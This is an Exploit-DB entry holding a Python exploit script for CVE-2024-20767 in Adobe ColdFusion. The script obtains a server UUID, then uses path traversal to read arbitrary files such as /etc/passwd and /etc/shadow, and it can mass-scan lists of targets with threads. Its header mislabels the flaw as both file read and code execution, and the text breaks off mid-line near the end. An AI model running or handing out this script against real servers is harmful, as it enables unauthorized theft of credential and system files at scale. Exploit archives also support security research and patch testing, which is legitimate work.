Exploit-DB #52387
Description: Adobe ColdFusion 2023.6 - Remote File Read
Type: webapps
Platform: multiple
Date: 2025-07-28
Author: İbrahimsql

Exploit:
# Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: ColdFusion 2023 (LUcee) - Remote Code Execution
# CVE: CVE-2024-20767
# Vendor Homepage: https://www.adobe.com/
# Requirements: requests>=2.25.0, urllib3>=1.26.0
# Usage: python3  CVE-2024-20767.py -u http://target.com -f /etc/passwd

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import re
import urllib3
import requests
import argparse
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings()

class ColdFusionExploit:
    def __init__(self, output_file=None, port=8500):
        self.output_file = output_file
        self.port = port
        self.verbose = True
        self.session = requests.Session()

    def print_status(self, message, status="*"):
        colors = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"}
        reset = "\033[0m"
        print(f"{colors.get(status, '')}{status} {message}{reset}")

    def normalize_url(self, url):
        if not url.startswith(('http://', 'https://')):
            url = f"http://{url}"
        parsed = urlparse(url)
        if not parsed.port:
            url = f"{url}:{self.port}"
        return url.rstrip('/')

    def get_uuid(self, url):
        endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat"
        try:
            response = self.session.get(f"{url}{endpoint}", verify=False, timeout=10)
            if response.status_code == 200:
                match = re.search(r"<var name='uuid'><string>(.+?)</string></var>", response.text)
                if match:
                    uuid = match.group(1)
                    if self.verbose:
                        self.print_status(f"UUID: {uuid[:8]}...", "+")
                    return uuid
        except Exception as e:
            if self.verbose:
                self.print_status(f"Error: {e}", "-")
        return None

    def read_file(self, url, uuid, file_path):
        headers = {"uuid": uuid}
        endpoint = f"/pms?module=logging&file_name=../../../../../../../{file_path}&number_of_lines=100"
        try:
            response = self.session.get(f"{url}{endpoint}", verify=False, headers=headers, timeout=10)
            if response.status_code == 200 and response.text.strip() != "[]":
                return response.text
        except:
            pass
        return None

    def test_files(self, url, uuid):
        files = {
            "Linux": ["etc/passwd", "etc/shadow", "etc/hosts"],
            "Windows": ["Windows/win.ini", "Windows/System32/drivers/etc/hosts", "boot.ini"]
        }
        
        for os_name, file_list in files.items():
            for file_path in file_list:
                content = self.read_file(url, uuid, file_path)
                if content:
                    self.print_status(f"VULNERABLE: {url} - {os_name} - {file_path}", "+")
                    if self.verbose:
                        print(content[:200] + "..." if len(content) > 200 else content)
                        print("-" * 50)
                    if self.output_file:
                        with open(self.output_file, "a") as f:
                            f.write(f"{url} - {os_name} - {file_path}\n")
                    return True
        return False

    def exploit_custom_file(self, url, uuid, custom_file):
        content = self.read_file(url, uuid, custom_file)
        if content:
            self.print_status(f"File read: {custom_file}", "+")
            print(content)
            return True
        else:
            self.print_status(f"Failed to read: {custom_file}", "-")
            return False

    def exploit(self, url, custom_file=None):
        url = self.normalize_url(url)
        if self.verbose:
            self.print_status(f"Testing: {url}")
        
        uuid = self.get_uuid(url)
        if not uuid:
            if self.verbose:
                self.print_status(f"No UUID: {url}", "-")
            return False
        
        if custom_file:
            return self.exploit_custom_file(url, uuid, custom_file)
        else:
            return self.test_files(url, uuid)

    def scan_file(self, target_file, threads):
        if not os.path.exists(target_file):
            self.print_status(f"File not found: {target_file}", "-")
            return
        
        with open(target_file, "r") as f:
            urls = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        
        self.print_status(f"Scanning {len(urls)} targets with {threads} threads")
        self.verbose = False
        
        vulnerable = 0
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(self.exploit, url): url for url in urls}
            for future in as_completed(futures):
                url = futures[future]
                try:
                    if future.result():
                        vulnerable += 1
                        print(f"[+] {url}")
                    else:
                        print(f"[-] {url}")
                except Exception as e:
                    print(f"[!] {url} - Error: {e}")
        
        self.print_status(f"Scan complete: {vulnerable}/{len(urls)} vulnerable", "+")

def main():
    parser = argparse.ArgumentParser(description="ColdFusion CVE-2024-20767 Exploit")
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("-f", "--file", help="File with target URLs")
    parser.add_argument("-p", "--port", type=int, default=8500, help="Port (default: 8500)")
    parser.add_argument("-c", "--custom", help="Custom file to read")
    parser.add_argument("-o", "--output", help="Output file")
    parser.add_argument("